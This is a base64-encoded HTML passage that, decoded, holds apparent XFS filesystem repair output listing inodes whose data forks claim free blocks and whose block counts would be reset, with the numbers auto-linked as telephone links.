Zj0idGVsOjE2OTQ5MDExIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2Vy aWYiPjx1PjE2OTQ5MDExPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi Piwgd291bGQgcmVzZXQgdG8gNTYxPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj5iYWQgbmV4dGVudHMgMjAwIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTQ5 MDExIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTQ5 MDExPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVz ZXQgdG8gMTk5PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZv cmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5NTE1MzAiPjxmb250IHNpemU9IjMiIGNv bG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5NTE1MzA8L3U+PC9mb250PjwvYT48Zm9u dCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250Pjxh IGhyZWY9InRlbDo4NDE4OTY4Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0i c2VyaWYiPjx1Pjg0MTg5Njg8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTU3Mjk2Ij48 Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTU3Mjk2PC91 PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVl IGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6ODQzNTY0MyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9 IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT44NDM1NjQzPC91PjwvZm9udD48L2E+PGJyPg0KPGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDE0MiBmb3IgaW5vZGUgPC9mb250 PjxhIGhyZWY9InRlbDoxNjk1NzI5NiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZh Y2U9InNlcmlmIj48dT4xNjk1NzI5NjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDE0NTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBm YWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTYwMzYy Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTYwMzYy PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBm cmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMyMDc5NSI+PGZvbnQgc2l6ZT0iMyIgY29s b3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzIwNzk1PC91PjwvZm9udD48L2E+PGJyPg0K PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhy ZWY9InRlbDoxNjk2MDM2MiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNl cmlmIj48dT4xNjk2MDM2MjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMjA3OTYiPjxm b250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMyMDc5NjwvdT48 L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA1 MSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjk2MDM2MiI+PGZvbnQgc2l6ZT0iMyIg Y29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk2MDM2MjwvdT48L2ZvbnQ+PC9hPjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDY1PC9mb250Pjxicj4N Cjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBo cmVmPSJ0ZWw6MTY5NjUwMjkiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MTY5NjUwMjk8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzA0NDEyIj48 Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMDQ0MTI8L3U+ PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGlu IGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTY1MDI5Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0i IzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTY1MDI5PC91PjwvZm9udD48L2E+PGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVm PSJ0ZWw6OTMwNDQxMyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlm Ij48dT45MzA0NDEzPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjk2NzA3MiI+PGZvbnQg c2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk2NzA3MjwvdT48L2Zv bnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9j ayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMjIyNDAiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMyMjI0MDwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA4OTggZm9yIGlub2RlIDwvZm9udD48YSBo cmVmPSJ0ZWw6MTY5NjcwNzIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MTY5NjcwNzI8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+LCB3b3VsZCByZXNldCB0byA5MTM8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjk3MjUxMyI+PGZv bnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk3MjUxMzwvdT48 L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBi bG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMjIwOTYiPjxmb250IHNpemU9IjMiIGNvbG9yPSIj MDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMyMjA5NjwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAzNTQgZm9yIGlub2RlIDwvZm9udD48 YSBocmVmPSJ0ZWw6MTY5NzI1MTMiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNl PSJzZXJpZiI+PHU+MTY5NzI1MTM8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+LCB3b3VsZCByZXNldCB0byAzNjk8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjk3Njk4MSI+ PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk3Njk4MTwv dT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJl ZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjI3MjY0Mjk2NSI+PGZvbnQgc2l6ZT0iMyIgY29s b3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4yNzI2NDI5NjU8L3U+PC9mb250PjwvYT48YnI+ DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEg aHJlZj0idGVsOjE2OTgwNDMxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0i c2VyaWYiPjx1PjE2OTgwNDMxPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMwNTk2NiI+ PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzA1OTY2PC91 PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBp biBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjk4MTAyMyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9 IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk4MTAyMzwvdT48L2ZvbnQ+PC9hPjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJl Zj0idGVsOjkzMTMyMTUiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJp ZiI+PHU+OTMxMzIxNTwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5ODEwMjMiPjxmb250 IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5ODEwMjM8L3U+PC9m b250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxv Y2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzEzMjE2Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAw MDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMTMyMTY8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgNTA4IGZvciBpbm9kZSA8L2ZvbnQ+PGEg aHJlZj0idGVsOjE2OTgxMDIzIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0i c2VyaWYiPjx1PjE2OTgxMDIzPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPiwgd291bGQgcmVzZXQgdG8gNTEzPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5ODMyNzEiPjxm b250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5ODMyNzE8L3U+ PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUg YmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDoyODAxNTE4NyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9 IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4yODAxNTE4NzwvdT48L2ZvbnQ+PC9hPjxicj4NCjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVm PSJ0ZWw6MTY5ODMyNzEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJp ZiI+PHU+MTY5ODMyNzE8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDoyODAxNTE4OCI+PGZv bnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4yODAxNTE4ODwvdT48 L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAy MTYgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5ODMyNzEiPjxmb250IHNpemU9IjMi IGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5ODMyNzE8L3U+PC9mb250PjwvYT48 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAyMjU8L2ZvbnQ+PGJy Pg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250Pjxh IGhyZWY9InRlbDoxNjk4MzI4MCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9 InNlcmlmIj48dT4xNjk4MzI4MDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMjE5MDYi Pjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMyMTkwNjwv dT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsg aW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5ODMyODAiPjxmb250IHNpemU9IjMiIGNvbG9y PSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5ODMyODA8L3U+PC9mb250PjwvYT48Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhy ZWY9InRlbDo5MzIxOTA3Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2Vy aWYiPjx1PjkzMjE5MDc8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+YmFkIG5ibG9ja3MgODMgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5ODMy ODAiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5ODMy ODA8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNl dCB0byA5NzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3Jr IGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTg3MDQ5Ij48Zm9udCBzaXplPSIzIiBjb2xv cj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTg3MDQ5PC91PjwvZm9udD48L2E+PGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBo cmVmPSJ0ZWw6OTMxNDYzMSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNl cmlmIj48dT45MzE0NjMxPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjk4NzA0OSI+PGZv bnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk4NzA0OTwvdT48 L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBi bG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMTQ2MzIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIj MDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMxNDYzMjwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA0MjIgZm9yIGlub2RlIDwvZm9udD48 YSBocmVmPSJ0ZWw6MTY5ODcwNDkiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNl PSJzZXJpZiI+PHU+MTY5ODcwNDk8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+LCB3b3VsZCByZXNldCB0byA0MzM8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjk4OTcyMiI+ PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk4OTcyMjwv dT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJl ZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjUwMTQwOTciPjxmb250IHNpemU9IjMiIGNvbG9y PSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+NTAxNDA5NzwvdT48L2ZvbnQ+PC9hPjxicj4NCjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVm PSJ0ZWw6MTY5OTAyMzgiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJp ZiI+PHU+MTY5OTAyMzg8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzE4NDI0Ij48Zm9u dCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMTg0MjQ8L3U+PC9m b250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlu byA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTkwMjM4Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAw MDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTkwMjM4PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0 ZWw6OTMxODQyNSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48 dT45MzE4NDI1PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi PmJhZCBuYmxvY2tzIDEwNTYgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5OTAzMDYi Pjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5OTAzMDY8 L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0 byAxMDU4PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsg aW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5OTI2ODciPjxmb250IHNpemU9IjMiIGNvbG9y PSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5OTI2ODc8L3U+PC9mb250PjwvYT48Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhy ZWY9InRlbDo5MzE4NjcxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2Vy aWYiPjx1PjkzMTg2NzE8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTkyNjg3Ij48Zm9u dCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTkyNjg3PC91Pjwv Zm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJs b2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxODY3MiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMw MDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzE4NjcyPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDE4MCBmb3IgaW5vZGUgPC9mb250Pjxh IGhyZWY9InRlbDoxNjk5MjY4NyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9 InNlcmlmIj48dT4xNjk5MjY4NzwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj4sIHdvdWxkIHJlc2V0IHRvIDE5MzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTk1MTE2Ij48 Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTk1MTE2PC91 PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVl IGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6NDAxMDU1MSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9 IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT40MDEwNTUxPC91PjwvZm9udD48L2E+PGJyPg0KPGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9 InRlbDoxNjk5NTE2MSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlm Ij48dT4xNjk5NTE2MTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4m bmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjI3MzAxNzU1Ij48Zm9u dCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjI3MzAxNzU1PC91Pjwv Zm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBp bm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjk5NTIzOSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMw MDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk5NTIzOTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0i dGVsOjcwMzk1MzQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+ PHU+NzAzOTUzNDwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij5iYWQgbmJsb2NrcyAzOSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjk5NTIzOSI+ PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk5NTIzOTwv dT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRv IDQ5PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4g aW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5OTczNDQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIj MDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5OTczNDQ8L3U+PC9mb250PjwvYT48Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9 InRlbDo5MzE2NzUxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYi Pjx1PjkzMTY3NTE8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTk3MzQ0Ij48Zm9udCBz aXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTk3MzQ0PC91PjwvZm9u dD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2Nr IDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxNjc1MiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAw RkYiIGZhY2U9InNlcmlmIj48dT45MzE2NzUyPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDMwODUgZm9yIGlub2RlIDwvZm9udD48YSBo cmVmPSJ0ZWw6MTY5OTczNDQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MTY5OTczNDQ8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+LCB3b3VsZCByZXNldCB0byAzMDkxPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTcwMDA2NDAiPjxm b250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTcwMDA2NDA8L3U+ PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUg 